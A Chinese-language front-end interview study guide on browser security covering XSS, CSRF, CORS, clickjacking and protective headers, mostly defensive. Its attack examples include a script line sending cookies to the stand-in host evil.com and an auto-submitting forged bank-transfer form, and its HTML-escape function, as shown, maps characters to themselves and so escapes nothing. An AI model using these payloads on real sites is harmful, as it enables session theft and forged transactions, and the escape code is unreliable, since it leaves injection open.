浏览器安全
一、XSS 跨站脚本攻击
1.1 XSS 类型
| 类型 | 存储位置 | 示例 |
|---|---|---|
| 存储型 | 服务器数据库 | 评论区注入脚本 |
| 反射型 | URL 参数 | 搜索结果页 |
| DOM 型 | 前端 JS | innerHTML 注入 |
1.2 攻击示例
javascript
// 存储型 XSS - 评论内容
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// 反射型 XSS - URL 参数
http://example.com/search?q=<script>alert('XSS')</script>
// DOM 型 XSS
const query = location.search.slice(1);
div.innerHTML = query; // 危险!1.3 XSS 防御
1. 输入过滤与输出编码
javascript
// HTML 实体编码
function escapeHtml(str) {
return str.replace(/[&<>"']/g, (char) => ({
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[char]));
}
// 使用
div.innerHTML = escapeHtml(userInput);2. 使用安全的 API
javascript
// ❌ 危险
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
// ✅ 安全
element.textContent = userInput;
element.setAttribute('value', userInput);3. CSP 内容安全策略
http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'html
<!-- 只有带正确 nonce 的脚本可执行 -->
<script nonce="abc123">alert('safe')</script>4. HttpOnly Cookie
http
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict二、CSRF 跨站请求伪造
2.1 攻击原理
1. 用户登录 bank.com,浏览器保存 Cookie
2. 用户访问恶意网站 evil.com
3. evil.com 发起对 bank.com 的请求
4. 浏览器自动带上 bank.com 的 Cookie
5. 请求成功,攻击完成2.2 攻击示例
html
<!-- evil.com 页面 -->
<!-- GET 请求 -->
<img src="http://bank.com/transfer?to=hacker&amount=10000">
<!-- POST 请求 -->
<form action="http://bank.com/transfer" method="POST" id="form">
<input name="to" value="hacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('form').submit();</script>2.3 CSRF 防御
1. SameSite Cookie
http
Set-Cookie: sessionId=abc123; SameSite=Strict| 值 | 说明 |
|---|---|
| Strict | 跨站请求完全不发送 Cookie |
| Lax | 仅 GET 请求发送 (默认值) |
| None | 都发送 (需配合 Secure) |
2. CSRF Token
html
<!-- 服务端渲染时嵌入 Token -->
<form>
<input type="hidden" name="csrf_token" value="随机Token">
</form>javascript
// 前端请求携带
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken
}
});3. 验证 Origin / Referer
javascript
// 服务端验证
const origin = req.headers.origin || req.headers.referer;
if (!origin || !origin.startsWith('https://trusted.com')) {
return res.status(403).send('Forbidden');
}4. 双重 Cookie 验证
javascript
// 前端:从 Cookie 读取 Token 并放入请求头
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api', {
headers: { 'X-CSRF-Token': csrfToken }
});三、CORS 跨域资源共享
3.1 同源策略
同源 = 协议 + 域名 + 端口 完全相同
http://example.com/a.html
http://example.com/b.html ✅ 同源
http://example.com:8080/ ❌ 端口不同
https://example.com/ ❌ 协议不同
http://sub.example.com/ ❌ 域名不同3.2 CORS 请求类型
简单请求 (不触发预检):
- 方法: GET, HEAD, POST
- Content-Type: text/plain, multipart/form-data, application/x-www-form-urlencoded
- 无自定义 Header
预检请求 (Preflight):
- 方法: PUT, DELETE, PATCH
- Content-Type: application/json
- 自定义 Header
3.3 CORS 响应头
http
# 允许的源
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Origin: *
# 允许的方法
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# 允许的请求头
Access-Control-Allow-Headers: Content-Type, Authorization
# 允许携带凭证 (Cookie)
Access-Control-Allow-Credentials: true
# 预检请求缓存时间
Access-Control-Max-Age: 86400
# 允许前端读取的响应头
Access-Control-Expose-Headers: X-Custom-Header3.4 Node.js CORS 配置
javascript
// Express
const cors = require('cors');
app.use(cors({
origin: ['https://example.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 86400
}));
// 手动实现
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', 'https://example.com');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Allow-Credentials', 'true');
if (req.method === 'OPTIONS') {
return res.sendStatus(204);
}
next();
});四、其他安全问题
4.1 点击劫持 (Clickjacking)
http
# 防御
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
# 或使用 CSP
Content-Security-Policy: frame-ancestors 'self'4.2 中间人攻击 (MITM)
http
# 强制 HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains4.3 敏感信息保护
http
# 禁止浏览器嗅探 MIME 类型
X-Content-Type-Options: nosniff
# XSS 过滤器 (已废弃,用 CSP 替代)
X-XSS-Protection: 1; mode=block五、高频面试题
Q1: XSS 和 CSRF 的区别?
| 对比项 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 用户 | 服务器 |
| 原理 | 注入恶意脚本 | 利用用户身份发请求 |
| 信任 | 用户信任了网站 | 网站信任了用户 |
Q2: 如何防御 XSS?
- 输入过滤,输出编码
- 使用 textContent 代替 innerHTML
- 配置 CSP 策略
- Cookie 设置 HttpOnly
Q3: 如何防御 CSRF?
- SameSite Cookie
- CSRF Token
- 验证 Origin/Referer
- 关键操作二次验证
Q4: 简单请求和预检请求的区别?
- 简单请求: 直接发送,响应中检查 CORS 头
- 预检请求: 先发 OPTIONS 请求,通过后再发实际请求